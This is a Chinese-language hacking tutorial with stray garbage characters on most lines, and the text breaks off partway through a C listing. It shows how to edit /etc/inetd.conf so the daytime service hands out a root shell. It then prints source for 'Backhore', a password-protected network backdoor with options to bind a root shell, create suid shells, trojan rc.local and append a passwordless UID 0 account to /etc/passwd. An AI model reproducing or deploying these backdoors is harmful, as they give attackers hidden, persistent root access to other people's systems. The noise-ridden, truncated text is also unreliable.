允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp.RPC 服务在协议类型前冠以 rpc/.
! c1 {2 k# |$ b: d) S 4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait.
$ W4 \( N1 ~2 |7 X, Y8 N 5:第五栏给出运行守护进程的用户名。0 C0 Q0 o; v4 ^9 H! U( e' A) ^
6:第六栏给出守护进程的全限定路径名。9 E/ y: x$ M0 d, d
7:守护进程的真实名字及其参数。# g6 B/ Q( e+ s% X5 X& x
如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell.
6 A' s( \# \& L+ Q/ c3 B% c! l; p1 K 一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell.只要将 /etc/inetd.conf 文件中的:
3 y$ c; U8 @6 j; r4 Z daytime stream tcp nowait root internal \% m, U7 c, z" d9 b4 K
修改为:. K# |" N0 H+ X6 U9 V6 Z. r- s
daytime stream tcp nowait /bin/sh sh -i.2 p* R! ]: ?! p- G T$ w/ a
然后重启(记住:一定要重启)inetd 进程:
: U' p! T2 M( |+ k8 q# d) Q! U killall -9 inetd.
5 ^- I8 i6 o" y 但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将"自己的"守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)
. y- l( ]- A* d+ C: v backdoor/remoteback.c0 Z& J* a: V7 l
/* Coders:
6 }$ h$ O" j! n Theft0 S# x6 [4 R* |/ ]6 d. a
Help from:
5 d: v- l0 H9 s Sector9, Halogen
5 t8 n. ?( X* k" _; c/ P Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen, Z5 b* X$ s2 a5 F
Psionic, g0d, Psionic.
8 }, x' K0 x8 A# n% Y }! ]8 Y Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
) {: Y1 g; _/ q9 M. Z Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
3 C# t" O* `9 ` O" g1 [+ H! y Tg0d, EHAP.( G7 q k5 K# L4 U
Usage:! k& [" M8 _0 N- W
Setup:
: V& A7 i' B- @! n* O # gcc -o backhore backhore.c # ./backdoor password &
! U9 \- t% _: E) e Run:7 }" f* O4 p6 l* k* _
Telnet to the host on port 4000. After connected you
4 y) @! |/ W. K% }$ [8 O6 `! [+ } Will not be prompted for a password, this way it is less( ^" O5 J- X: [' |3 ^
Obvious, just type the password and press enter, after this; a) t+ @3 c7 l5 i, i6 q! m& ]' Q2 F
You will be prompted for a command, pick 1-8.
9 B, Y- v& r/ F) V, Z5 ]% G1 p Distributers:
, i9 y/ W& x3 h Ethical Mutiny Crew */
" S- R, ]5 x& J) Y% g #include
4 r1 @ A: Y/ A2 ~ P #include* H3 x3 o/ E6 h. R/ f7 K
#include
) _6 P# i- A. Z/ H K3 m! O #include! i n. z$ b$ i3 v5 `1 H0 G# @
#include/ l% |, m- B+ {3 b
#include: Q2 f6 B/ z# O2 i; |
#include/ Y: `+ F7 }2 y. X+ d( _6 B
#include
5 o+ F* v3 c1 O0 u6 C7 {8 F #define PORT 4000
; n* p/ q3 h' b9 y0 N' Z9 j( h #define MAXDATASIZE 100, J2 E% t6 C/ Y% d& D* P
#define BACKLOG 10
: h3 a& B( |9 L, s* E #define SA struct sockaddr
$ p& Y- ~) @- Q0 _1 U( ~& {8 I0 n6 g, Q void handle(int);
7 M* p+ i1 N9 n1 R: `7 K int5 |0 f- K D4 I- E, T+ k
main(int argc, char *argv[]), J# k5 \) J* A2 {
{6 E; f8 X i2 y9 n3 l# S8 L
int sockfd, new_fd, sin_size, numbytes, cmd;) q+ r' T7 h7 b
char ask[10]="Command: ";
: y$ v) l/ A/ n0 i5 D. ^$ \* Z char *bytes, *buf, pass[40];
& f' s: w$ A* q9 \ struct sockaddr_in my_addr;
" F* d# p6 s* J5 u B/ H. F struct sockaddr_in their_addr;
|/ G- m: M% F+ e7 d+ M# g: T9 ] printf("n Backhore BETA by Theftn");. d' ~+ m* P9 M1 p3 Q3 j
printf(" 1: trojans rc.localn");
+ R- Q7 b: @! J/ e4 L printf(" 2: sends a systemwide messagen");
7 m( w5 q( x: L7 L printf(" 3: binds a root shell on port 2000n");
* K3 E9 H3 V. e4 e printf(" 4: creates suid sh in /tmpn");- r9 O6 ^" ?: n7 h+ `# V% S L
printf(" 5: creates mutiny account uid 0 no passwdn");4 k" |5 ^- j$ Z- U
printf(" 6: drops to suid shelln");
* W- s6 k. W* X. q6 d4 f9 Q printf(" 7: information on backhoren");# X9 i" g6 E7 y" D4 B2 s( B# d: b4 `
printf(" 8: contactn");" Y; x, G# \3 A' I' E
if (argc != 2) {
8 t, F4 B. A8 { fprintf(stderr,"Usage: %s passwordn", argv[0]);. m* v6 W2 x) f* {* ^9 x$ C6 {' k
exit(1);
5 G. I! X, {( i9 U Y3 U: }) p }5 l% k' m2 z7 U3 C- l \
strncpy(pass, argv[1], 40);1 n3 d8 `- G/ I) @- q6 a
printf("using password: %sn", pass);" w& R2 Q8 h+ G8 o h7 i7 k
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {+ m" M* W- j4 `0 t/ i
perror("socket"); Z$ C( D) E, ^9 o: m
exit(1);
: N2 b' ~8 m2 _9 R }" a1 Z, a0 O6 C# ^: D
my_addr.sin_family = AF_INET;* m+ M- f; P( w! Z
my_addr.sin_port = htons(PORT);2 ~3 ]- I! B4 O5 {
my_addr.sin_addr.s_addr = INADDR_ANY;% V* | ^; \+ a0 M; o
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {, H1 X( ~, V% X) f- U
perror("bind");5 h% S, N" u3 h! p0 K5 ]
exit(1);
" c: P/ h+ v9 s2 n( V$ Z7 v6 ?, ` }
8 ]. s0 f4 c' ~# i' t6 l if (listen(sockfd, BACKLOG) == -1) {5 ]6 ]) f9 ]$ s( X
perror("listen");
7 D4 q7 [* K5 P* \8 G exit(1);0 A! i, g _; B
}
) K% C! c5 g7 j! m+ } sin_size = sizeof(SA);
% p+ a& {! L( C+ x1 b7 i3 o9 ? while(1) { /* main accept() loop */if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
3 f: V5 o. Z4 Z& C) B perror("accept");1 H) W. C5 J0 P
continue;1 K5 D6 J0 ^( }! H/ D% x0 \
}: E; \5 g2 s6 y$ q8 Q
if (!fork()) {/ B8 A9 }! M: D# h- R& V
dup2(new_fd, 0);2 z0 ~2 D$ D3 z8 G n
dup2(new_fd, 1);8 ]# D7 n2 \" @$ {
dup2(new_fd, 2); H" L& p5 @( b7 U6 l% t
fgets(buf, 40, stdin);* L+ k" R, a) b, {& y5 Q
if (!strcmp(buf, pass)) {
/ [' m4 [+ N+ A' B e printf("%s", ask);6 |/ T: X5 t/ [( G# n
cmd = getchar();
' {5 _' N) v6 W+ G/ k7 O handle(cmd);
1 ^- Z9 P. `& u% V* V# o& g o1 H }
' j: b1 l- `' \! q$ k4 c close(new_fd);2 X6 V$ h/ g) E4 ?* ?" y/ t
exit(0);
4 Y1 c: l! ?1 z4 w# a/ i/ y5 s }
, r& S, q+ J7 S6 G close(new_fd);
0 M7 I2 p5 |, n2 @) l while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */; Z# T( H. C# I9 V
}, T4 L7 F& b$ y; s
}+ ]8 @3 Z8 W9 i
void' L4 g2 F! V" V" T8 @7 h
handle(int cmd)# O. f p- z: N6 B" G
{
% l7 e% ?3 y4 B, X' I b6 K FILE *fd;
& S% r L9 }8 y' j7 ]/ E( C$ U2 I switch(cmd) {! C# j; C7 S8 G: u: F
case '1':
+ [0 p1 ?1 N2 V7 d# U printf("nBackhore BETA by Theftn");
8 e+ @( _/ Y( S9 i0 t4 ~+ [/ u printf("theft@cyberspace.orgn");
5 `* q3 U; l$ e) [! c( w8 Z printf("Trojaning rc.localn");
( b) y" W) S# c. t9 Z fd = fopen("/etc/passwd", "a+");
" q% L5 D( a7 ^# d# M6 c fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
5 [ {4 x w9 ?7 S) f fclose(fd);# Q1 P, J" J# z; g# ]2 K
printf("Trojan complete.n");
, |8 o7 P6 E; @# `9 R, f2 b break; |